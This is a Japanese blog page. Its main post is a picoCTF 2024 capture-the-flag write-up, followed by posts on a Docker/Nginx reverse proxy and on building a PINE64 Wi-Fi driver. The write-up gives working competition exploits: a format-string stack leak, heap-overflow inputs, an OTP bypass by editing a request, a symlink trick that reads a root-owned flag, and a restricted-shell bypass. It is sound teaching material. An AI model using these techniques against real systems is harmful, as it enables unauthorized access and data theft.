日記

日本語の勉強のためのブログ

picoCTF2024 writeup

100pt問題とgeneral問題は全部解いた。2725点で1029位。終了日を忘れていたせいで気づいたら終わっていた…

WebDecode (Web, 50)

about.htmlの44行目に気になる記述がある。

<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZjZmNmI3OGF9">

notify_trueの値をbase64デコードすれば良い。

picoCTF{web_succ3ssfully_d3c0ded_f6f6b78a}

Commitment Issues (General, 50)

zipファイルが与えられる。解凍したら.gitディレクトリが入っており、Gitのコミット履歴を見ることでflagを復元できるようだ。
調べたところ、git log -pを実行することでGitのコミット履歴とその変更点を見ることができるとのこと

$ git log -p
commit 144fdc44b09058d7ea7f224121dfa5babadddbb9 (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:25 2024 +0000

    remove sensitive info

diff --git a/message.txt b/message.txt
index 3a71673..d552d1e 100644
--- a/message.txt
+++ b/message.txt
@@ -1 +1 @@
-picoCTF{s@n1t1z3_be3dd3da}
+TOP SECRET

commit 7d3aa557ff7ba7d116badaf5307761efb3622249
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:25 2024 +0000

    create flag

diff --git a/message.txt b/message.txt
new file mode 100644
index 0000000..3a71673
--- /dev/null
+++ b/message.txt
@@ -0,0 +1 @@
+picoCTF{s@n1t1z3_be3dd3da}

これでflagが得られた。

picoCTF{s@n1t1z3_be3dd3da}

interencdec (crypto, 50)

2回base64でデコードしたのち、ROT19をかければよい。Cyberchefを使うと楽。

picoCTF{caesar_d3cr9pt3d_890d2379}

Time Machine (general, 50)

git logで見れた。

picoCTF{t1m3m@ch1n3_88c35e3b}

Blame Game (general, 75)

問題名からgit blameを使えばよいことが推測できる。

picoCTF{@sk_th3_1nt3rn_81e716ff}

Collaborative Development(general, 75)

問題文にチーム開発をしているとあるので、関連した機能を使ってみる。
git branchを実行したところ、計4つのブランチがあることに気づいた。

$ git branch
  feature/part-1
  feature/part-2
  feature/part-3
* main

他のブランチとの相違点を確認する。

$ git diff main feature/part-1 feature/part-2 feature/part-3
diff --cc flag.py
index 6e17fb3,7ab4e25,c312152..77d6cec
--- a/flag.py
+++ b/flag.py
@@@@ -1,2 -1,3 -1,3 +1,1 @@@@
   print("Printing the flag...")
-  print("picoCTF{t3@mw0rk_", end='')
 --
 - print("m@k3s_th3_dr3@m_", end='')
  -print("w0rk_798f9981}")

これでflagがわかった。

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_798f9981}

format string 0 (Binary Exploitation, 50)

選択肢のうち、フォーマット文字列として意味をなすものを選べばflagが得られる。 内部的には、

  • 1問目は出力サイズが入力文字列の2倍より大きければ(if (count > 2 * BUFSIZE))2問目に移る
  • 2問目では%sを出力する際に以前変数に格納したflagが出力されるバグがある

という以上の原因によりflagが出力されている。

$ nc mimas.picoctf.net 53026
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_a1d85b3e}

heap 0 (binary, 50)

与えられたソースコードcheck_win()関数より、safe_varの中身がbicoという文字列以外ならflagが得られるとのこと。 ソースや動作状況から、input_datasafe_varより0x20だけ若い番地に置かれていることがわかるので、0x20 = 32文字以上の文字列を入力すればsafe_varを書き換え、flagを得ることが可能である。
※ヌル文字を含めて33文字以上、つまり普通に入力して32文字以上の入力が必要

$ nc tethys.picoctf.net 51995

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55a8b341e2b0  ->   pico
+-------------+----------------+
[*]   0x55a8b341e2d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55a8b341e2b0  ->   aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
[*]   0x55a8b341e2d0  ->
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_749119de}

Verify (forensics, 50)

files直下の全ファイルをfor文で試す脳筋プレーでflagを得た。

for file_name in $(ls -R files/* -1); do
    openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "/home/ctf-player/drop-in/$file_name" -k picoCTF 2>/dev/null
done

おそらく想定解はsha256+grep

ctf-player@pico-chall$ cat checksum.txt
b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2

ctf-player@pico-chall$ sha256sum files/* | grep b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2
b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2  files/451fd69b

ctf-player@pico-chall$ ./decrypt.sh files/451fd69b
picoCTF{trust_but_verify_451fd69b}

picoCTF{trust_but_verify_451fd69b}

CanYouSee (forensics, 100)

zipファイルを解凍するとukn_reality.jpgが現れる。binwalkfileでは何も出なかったが、stringsを利用するとbase64エンコードされた文字列が出てくる。これをデコードするとflagが得られた。

$ strings ukn_reality.jpg | head
JFIF
7http://ns.adobe.com/xap/1.0/
<?xpacket begin='
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 11.88'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:cc='http://creativecommons.org/ns#'>
  <cc:attributionURL rdf:resource='cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg=='/>
 </rdf:Description>

$ echo cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg== | base64 -d
picoCTF{ME74D47A_HIDD3N_d8c381fd}

別解:IrfanViewなどの画像ビューアで画像のプロパティ→IPTC情報→XMP Tagを見ると、rdf:resourceに先ほどのbase64文字列がある。これをデコードすればよい。

Unminify (web, 100)

与えられたWebページのHTMLソースの中にflagが隠れているので、それを単に探せば良い。

<div class="picoctf{}" style="width:70%">
  <p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p>
  <p class="picoCTF{pr3tty_c0d3_dbe259ce}"></p>
  <p class="picoctf{}">I just deliver flags, I don't know how to read them...</p>
</div>

Secret of the Polyglot (forensics, 100)

pdfファイルが与えられるが、fileコマンドによるとpngファイルとのことなので拡張子を変更して画像ビューアで見てみる。するとflagの前半部分(picoCTF{f1u3n7_)が書いてあった。これと、もとのpdfファイルに書かれていたflagの後半部分をつなぎ合わせることでflagが得られる。

picoCTF{f1u3n7_1n_pn9_&_pdf_2a6a1ea8}

Binary Search (general, 100)

1~1000の中から数字を当てるゲーム。タイトルの通り、2分探索を用いて数字を推測すればよい。

$ ssh -p 56013 ctf-player@atlas.picoctf.net
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Lower! Try again.
Enter your guess: 250
Higher! Try again.
Enter your guess: 375
Higher! Try again.
Enter your guess: 440
Higher! Try again.
Enter your guess: 475
Lower! Try again.
Enter your guess: 460
Higher! Try again.
Enter your guess: 467
Higher! Try again.
Enter your guess: 470
Higher! Try again.
Enter your guess: 473
Lower! Try again.
Enter your guess: 472
Congratulations! You guessed the correct number: 472
Here's your flag: picoCTF{g00d_gu355_bee04a2a}
Connection to atlas.picoctf.net closed.

Custom encryption (crypto, 100)

暗号文と暗号化スクリプトが与えられる。スクリプトを見ると、

  1. dynamic_xor_encrypt
  2. encrypt

の順番で暗号化されており、前者は

  • 平文を逆順に並び替える
  • text_keyとのxorをとる

処理で、後者は

処理である。そのため、復号するには

  • 暗号文の各数をkeyと311で割る
  • それとtext_keyとのxorをとる
  • それを逆順に並び替える

という処理を行えばよい。

なお、keyを求めるにはa = randint(p-10, p), b = randint(g-10, g)となる素数p, gを特定する必要があるが、

  • pについて
    • p-10 <= a = 90 <= pより90 <= p <= 100
    • pは素数なのでpの候補は97のみ
  • gについて
    • g-10 <= b = 26 <= gより26 <= g <= 36
    • gは素数なのでgの候補は29, 31のどちらか

ということで、p, g = (97, 29), (97, 31)のどちらかを試せばよい。まあスクリプトtest関数にp = 97, g = 31と書いてあるのだが…

これを踏まえてdecrypt関数とdynamic_xor_decrypt関数を追記したスクリプトを以下に示す。

from random import randint
import sys

def generator(g, x, p):
    return pow(g, x) % p

def encrypt(plaintext, key):
    cipher = []
    for char in plaintext:
        cipher.append(((ord(char) * key*311)))
    return cipher

def decrypt(cipher, key):
    plaintext = ""
    for c in cipher:
        plaintext += chr(c // key // 311)
    return plaintext

def is_prime(p):
    v = 0
    for i in range(2, p + 1):
        if p % i == 0:
            v = v + 1
    if v > 1:
        return False
    else:
        return True

def dynamic_xor_encrypt(plaintext, text_key):
    cipher_text = ""
    key_length = len(text_key)
    for i, char in enumerate(plaintext[::-1]):
        key_char = text_key[i % key_length]
        encrypted_char = chr(ord(char) ^ ord(key_char))
        cipher_text += encrypted_char
    return cipher_text

def dynamic_xor_decrypt(cipher, text_key):
    plain_text = ""
    key_length = len(text_key)
    for i, char in enumerate(cipher):
        key_char = text_key[i % key_length]
        decrypted_char = chr(ord(char) ^ ord(key_char))
        plain_text = decrypted_char + plain_text
    return plain_text

def test(plain_text, text_key):
    p = 97
    g = 31
    if not is_prime(p) and not is_prime(g):
        print("Enter prime numbers")
        return
    a = randint(p-10, p)
    b = randint(g-10, g)
    print(f"a = {a}")
    print(f"b = {b}")
    u = generator(g, a, p)
    v = generator(g, b, p)
    key = generator(v, a, p)
    b_key = generator(u, b, p)
    shared_key = None
    if key == b_key:
        shared_key = key
    else:
        print("Invalid key")
        return
    semi_cipher = dynamic_xor_encrypt(plain_text, text_key)
    cipher = encrypt(semi_cipher, shared_key)
    print(f'cipher is: {cipher}')

def get_plaintext(text_key):
    a = 90
    b = 26
    p = 97
    g = 31
    u = generator(g, a, p)
    v = generator(g, b, p)
    shared_key = generator(v, a, p)
    cipher = [61578, 109472, 437888, 6842, 0, 20526, 129998, 526834, 478940, 287364, 0, 567886, 143682, 34210, 465256, 0, 150524, 588412, 6842, 424204, 164208, 184734, 41052, 41052, 116314, 41052, 177892, 348942, 218944, 335258, 177892, 47894, 82104, 116314] 
    semi_cipher = decrypt(cipher, shared_key)
    plaintext = dynamic_xor_decrypt(semi_cipher, text_key)
    print(f"plaintext is: {plaintext}")

if __name__ == "__main__":
    #message = sys.argv[1]
    #test(message, "trudeau")
    get_plaintext("trudeau")

これを実行することで暗号文を復号でき、flagが手に入る。

$ python3 custom_encryption.py
plaintext is: picoCTF{custom_d2cr0pt6d_49fbee5b}

packer (reverse, 100)

バイナリが与えられる。中身を見てみようとobjdumpを使ったが何も表示されない。

$ file out
out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

$ objdump -D out
out:     file format elf64-x86-64

タイトルよりパッカーが使用されていると考え、strings outを実行してみたところ、末尾にUPX!と表示された。そのためUPXを用いてアンパックしてみる。

$ upx -d out
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
[WARNING] bad b_info at 0x4b710

[WARNING] ... recovery at 0x4b70c

    877724 <-    336512   38.34%   linux/amd64   out

Unpacked 1 file.

これによりobjdumpデコンパイルできるようになった。この状態でstrings outしたところ、怪しい数列が出てきた。

Enter the password to unlock this file:
You entered: %s
Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f36666639363465667d
Access denied

これを16進文字列として解釈すると、flagが得られた。

picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_6ff964ef}

IntroToBurp (web, 100)

用意されたWEBページは、

  1. 何らかの情報登録フォーム(/)に記入すると、
  2. 二段階認証の画面(/dashboard)に飛ばされる

という構造になっている。

タイトルからしてburpsuiteを用いるものだと考えたが、その先がわからない。入力欄にSQLiしたりリクエスト内のjwtをデコードしたりしてみたが、何も得られなかった。

結局、最初の情報登録フォームの送信内容をburpsuiteで改変し、送信先を/から/dashboardに変更したところ、flagが得られた。

Welcome, a you sucessfully bypassed the OTP request. Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_9090d63c}

heap 1 (binary, 100)

heap 0と同様にして解ける。

ソースコードより、今回はsafe_var = picoであればflagを得ることができるとわかる(check_win()関数より)。またヒープの状態から、input_dataの0x20バイト先にsafe_varが格納されていることがわかる。

以上より、input_dataに0x20文字の適当な文字列と、picoという文字列を与えれば、safe_varの中身をpicoにできる。これでflagを得られる。

$ nc tethys.picoctf.net 61777

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x5641177c72b0  ->   pico
+-------------+----------------+
[*]   0x5641177c72d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: 0123456789abcdef0123456789abcdefpico

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = pico


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{starting_to_get_the_hang_b9064d7c}

format string 1 (binary, 100)

与えられたソースコードに以下のように書かれている。

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

入力をそのまま出力するだけにも見えるが、printf(buf)の部分で書式文字列攻撃が使用できてしまう。つまり、buf%lxなどのフォーマット文字列を入力することで、スタック内のデータを出力させることが可能である。

$ nc mimas.picoctf.net 51033
Give me your order and I'll read it back to you:
%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,
Here's your order: 402118,0,7f6bb91cba00,0,1c47880,a347834,7ffe52acc940,7f6bb8fbce60,7f6bb91e14d0,1,7ffe52acca10,0,0,7b4654436f636970,355f31346d316e34,3478345f33317937,34365f673431665f,7d363131373732,7,7f6bb91e38d8,2300000007,206e693374307250,a336c797453,9,7f6bb91f4de9,7f6bb8fc5098,7f6bb91e14d0,0,7ffe52acca20,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
Bye!

出力をコンマで区切り、それぞれの16進数を文字列に変換すると、以下のようになる(CyberChef使用)。 ※個人的なtips: "fork"を使うと1行ずつ処理できる

@!
 
kケコ 
 
G・ 
」G・
Rャノ@
kク鉸`
kケミ

Rャハ
 
 
{FTCocip
5_14m1n4
4x4_31y7
46_g41f_
}611772
 
kケ8リ
#    
 ni3t0rP
」6ヌ勇
    
kケM・kク・・kケミ
 
Rャハ 
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%

中央にある{FTCocipのあたりを文字列反転させると次のようになる。

picoCTF{
4n1m41_5
7y13_4x4
_f14g_64
277116}

これでflagが得られた。

picoCTF{4n1m41_57y13_4x4_f14g_64277116}

endianness (general, 200)

与えられた文字列を16進表記に変換し、これをビッグ・リトルエンディアンで表現すればよい。時間制限や回答数の制限はない。

$ nc titan.picoctf.net 63490
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: fzruu
Enter the Little Endian representation: 7575727a66
Correct Little Endian representation!
Enter the Big Endian representation: 667a727575
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_cfe38ef0}

dont-you-love-banners (general, 300)

いくつかのクイズに正答してシェルにログインする。

┌──(kali㉿LAPTOP)-[~]
└─$ nc tethys.picoctf.net 65226
*************************************
**************WELCOME****************
*************************************

what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?
defcon
the first hacker ever was known for phreaking(making free phone calls), who was it?
john draper
player@challenge:~$

/root直下を見ると、接続時に実行されるスクリプトとflagらしきファイルがあった。

player@challenge:~$ cd /root
cd /root
player@challenge:/root$ ls -la
ls -la
total 16
drwxr-xr-x 1 root root    6 Mar 12 00:18 .
drwxr-xr-x 1 root root   29 Mar 26 00:45 ..
-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rwx------ 1 root root   46 Mar 12 00:18 flag.txt
-rw-r--r-- 1 root root 1317 Feb  7 17:25 script.py
player@challenge:/root$ cat script.py
cat script.py

import os
import pty

incorrect_ans_reply = "Lol, good try, try again and good luck\n"

if __name__ == "__main__":
    try:
      with open("/home/player/banner", "r") as f:
        print(f.read())
    except:
      print("*********************************************")
      print("***************DEFAULT BANNER****************")
      print("*Please supply banner in /home/player/banner*")
      print("*********************************************")

try:
    request = input("what is the password? \n").upper()
    while request:
        if request == 'MY_PASSW@RD_@1234':
            text = input("What is the top cyber security conference in the world?\n").upper()
            if text == 'DEFCON' or text == 'DEF CON':
                output = input(
                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
                    scmd = 'su - player'
                    pty.spawn(scmd.split(' '))

                else:
                    print(incorrect_ans_reply)
            else:
                print(incorrect_ans_reply)
        else:
            print(incorrect_ans_reply)
            break

except:
    KeyboardInterrupt

次に、接続時にbannerというファイルが表示されることを利用し、banner/root/flag.txtシンボリックリンクとして設定する。これで次回の接続時にflagが表示されるはず。

player@challenge:/root$ cd
cd
player@challenge:~$ ls
ls
banner  text
player@challenge:~$ rm banner
rm banner
player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner

一度接続を切り、もう一度接続することでflagが表示される。

player@challenge:~$ ^C

┌──(kali㉿LAPTOP)-[~]
└─$ nc tethys.picoctf.net 65226
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_a0e119d4}

what is the password?

SansAlpha (general, 400)

数字といくつかの記号しか使えないシェルでflagを探す問題。
bashのドキュメントを見たところ、\xxxという形式を使えば文字を8進数で表せることがわかったが、\すら塞がれていた。

lsの代わりに、?*を使ってどんなファイルが存在するか調べることができる*1とのことなので、やってみる。

SansAlpha$ . ./?
bash: ./?: No such file or directory

SansAlpha$ . ./??
bash: ./??: No such file or directory

SansAlpha$ . ./???
bash: ./???: No such file or directory

SansAlpha$ . ./????
bash: ./????: No such file or directory

SansAlpha$ . ./?????
bash: ./?????: No such file or directory

SansAlpha$ . ./??????
bash: .: ./blargh: is a directory

./blarghというディレクトリがあるとわかった。その中をさらに見ていく。

SansAlpha$ ./*/?
bash: ./*/?: No such file or directory

SansAlpha$ ./*/??
bash: ./*/??: No such file or directory

SansAlpha$ ./*/???
bash: ./*/???: No such file or directory

SansAlpha$ ./*/????
bash: ./*/????: No such file or directory

SansAlpha$ ./*/?????
bash: ./*/?????: No such file or directory

SansAlpha$ ./*/??????
bash: ./*/??????: No such file or directory

SansAlpha$ ./*/???????
bash: ./*/???????: No such file or directory

SansAlpha$ ./*/????????
bash: ./blargh/flag.txt: Permission denied

どうやら./blargh/flag.txtという怪しげなファイルが存在するようだ。

この中身を見たい、つまりcatを使いたいが、アルファベットを使用することはできない。そこで、エラーメッセージ等からc,a,tの3文字を抜き出すことでcatという文字列を錬成する手法をとる。
上記出力のエラーメッセージbash: ./?: No such file or directoryには、ありがたいことにその3文字がすべて含まれているため、これを利用する。具体的には、

  1. . ./?の実行結果(エラーメッセージ)をリダイレクト2>&1を利用して変数__に格納し、
  2. ${parameter:offset:length}構文を使って任意の1文字を持ってくる

という処理を行う*2

例を挙げて説明すると、1については以下のようにして変数に格納でき、

__=$(. ./? 2>&1)

そして2については以下のようにして文字列から任意の文字を取得できる。

SansAlpha$ ${__:0:1}
bash: b: command not found

SansAlpha$ ${__:1:1}
bash: a: command not found

SansAlpha$ ${__:2:1}
bash: s: command not found

SansAlpha$ ${__:3:1}
bash: h: command not found

SansAlpha$ ${__:16:1}
bash: c: command not found

SansAlpha$ ${__:1:1}
bash: a: command not found

SansAlpha$ ${__:32:1}
bash: t: command not found

以上より、__=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/????????を入力することでcat ./blargh/flag.txtを実行することができ、flagを得ることができる。

SansAlpha$ __=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/????????
return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_8b3d83ad}

Mob psycho (forensics, 200)

与えられたapkファイルをzipとみなして解凍し、その中からflagを探す。

$ unar mobpsycho.zip

$ find . -name flag* 
./res/color/flag.txt

$ cat res/color/flag.txt
7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f37303364643965667d

flag.txtに書かれている16進数を文字列として解釈すると、flagが得られた。

picoCTF{ax8mC0RU6ve_NX85l4ax8mCl_703dd9ef}

リバースプロキシで複数のコンテナに通信を振り分ける(+GoogleCloudを使ってみる)

チュートリアルをやってみた記録。勉強中なので表現に誤りがあればお知らせください。

やりたいこと

Dockerを用いて複数のWebサーバを立て、

  • http://<サーバIP>/web1 → webサーバ1にルーティングされる
  • http://<サーバIP>/web2 → webサーバ2にルーティングされる

のような環境を構築したい。

いくつか方法はあるようだが、NginXのリバースプロキシ機能を用いて実現した例があったため、それに沿って試してみる。
また物理サーバが手元にないため、GoogleCloudを用いてサーバを用意してみる。

GoogleCloudでサーバを用意

無料枠を使う。次の記事を見て用意する。今回はUbuntu22.04を使った。

https://zenn.dev/taksas/articles/1f8e0f3676628d

VM作成時に80, 443番ポートを開けておく。

できたらSSH接続。"VM instances"の先ほど作成したVMの項にある"SSH"をクリックすると、ブラウザからSSH接続してサーバの操作が可能。

dockerを入れる

公式サイトの通り。

# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

インストールできたかテスト。

sudo docker run --rm hello-world

# delete the image
sudo docker image rm hello-world

リバースプロキシを使ってみる

いいチュートリアル記事があったのでそれに沿って試す。

git clone https://github.com/zawakin/reverse-proxy.git
cd reverse-proxy/

Ubuntuでもdocker.host.internalを使用できるようにdocker-compose.override.yamlを追加する。
参考:https://qiita.com/skobaken/items/03a8b9d0e443745862ac

version: "3" # docker-compose.yamlのバージョンと合わせる

services:
  reverse-proxy: # host.docker.internalを使用したいサービス名
    extra_hosts:
      - "host.docker.internal:host-gateway"

そしたらコンテナを立ち上げる。

sudo docker compose up -d

この状態でブラウザを開き、

  • http://<サーバIP>/dog:犬好きのページが表示される
  • http://<サーバIP>/cat:猫好きのページが表示される
  • http://<サーバIP>:7000/:アクセス不可
  • http://<サーバIP>:7001/:アクセス不可

となれば成功。

ちゃんと7000, 7001番ポートもふさがっている。

$ nmap 34.145.84.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 12:37 JST
Nmap scan report for XXX.bc.googleusercontent.com (<サーバIP>)
Host is up (0.10s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
3389/tcp closed ms-wbt-server

PINE64+ArmbianでWi-Fiに接続する

はじめに

PINE A64+(以下、PINE64)にArmbianを入れて遊んでいるが、Wi-Fiが使えないのでどうにかしたい。
無線LAN子機はすでに持っているが、ドライバが入っていないので接続しても認識されない状況。

やりたいこと

  • 無線LAN子機のドライバを入れ、デバイスとして認識されるようにする
  • Wi-Fiに接続する

必要なもの

  • PINE A64+
    • Armbian Armbian 24.2.1 Jammy
    • Linux 6.6.16-current-sunxi64
  • 無線LAN子機
    • Realtek Semiconductor Corp. RTL8723BU 802.11b/g/n WLAN Adapter
    • 中古PCについてきたもの
    • Bluetoothも使えるらしいが、今回は使用しない

書いてはいないが、この他にPINE64の電源供給に使うUSBケーブルや、OSを焼いたSDカード、SSH接続に使うPCなども必要である。

やったこと

無線LAN子機のアダプタを特定する

あらかじめPINE64に子機を挿しておく。
PINE64にログインし、lsusbコマンドで接続されているUSBデバイスを調べる。
※ちなみにArmbianの初期ユーザはroot、パスワードは1234である。

root@pine64:~# lsusb
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 002: ID 0bda:b720 Realtek Semiconductor Corp. RTL8723BU 802.11b/g/n WLAN Adapter
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 005 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

今回はRealtek Semiconductor Corp. RTL8723BU 802.11b/g/n WLAN Adapterというのがアダプタのようだ。

アダプタにあったドライバを探す

RTL8723BUGoogle検索したら出てきた。

github.com

READMEによると、cloneしてから以下のコマンドを入力すればビルド+インストールできるらしい。

make
sudo make install
sudo modprobe -v 8723bu

ドライバをビルドする

まずGithubからcloneする。

root@pine64:~# git clone https://github.com/lwfinger/rtl8723bu.git
root@pine64:~# cd rtl8723bu

次にmakeする。
/lib/modules/XXX/build: No such file or directoryというエラーが出る場合は、apt update && apt upgrade -yしてからrebootすれば多分治る。

makeしたが、arch/aarch64/Makefileがないというエラーが出た。

root@pine64:~/rtl8723bu# uname -r
6.6.16-current-sunxi64

root@pine64:~/rtl8723bu# make
make ARCH=aarch64 CROSS_COMPILE= -C /lib/modules/6.6.16-current-sunxi64/build M=/root/rtl8723bu  modules
make[1]: Entering directory '/usr/src/linux-headers-6.6.16-current-sunxi64'
/usr/src/linux-headers-6.6.16-current-sunxi64/Makefile:770: arch/aarch64/Makefile: No such file or directory
make[2]: *** No rule to make target 'arch/aarch64/Makefile'.  Stop.
make[1]: *** [Makefile:234: __sub-make] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-6.6.16-current-sunxi64'
make: *** [Makefile:332: modules] Error 2

そこでmakeではなく、make ARCH=arm64を実行したらエラーは消えた。

Sometimes 64-bit ARM is called “aarch64”, and at other times “arm64”. In this case use “ARCH=arm64”.
参考:https://forums.developer.nvidia.com/t/make-command-fails-when-installing-a-tp-link-driver/66280/2

root@pine64:~/rtl8723bu# make ARCH=arm64
make ARCH=arm64 CROSS_COMPILE= -C /lib/modules/6.6.16-current-sunxi64/build M=/root/rtl8723bu  modules
make[1]: Entering directory '/usr/src/linux-headers-6.6.16-current-sunxi64'
warning: the compiler differs from the one used to build the kernel
  The kernel was built by: gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0
  You are using:           gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
  CC [M]  /root/rtl8723bu/core/rtw_cmd.o
  CC [M]  /root/rtl8723bu/core/rtw_security.o
(中略)
  MODPOST /root/rtl8723bu/Module.symvers
  CC [M]  /root/rtl8723bu/8723bu.mod.o
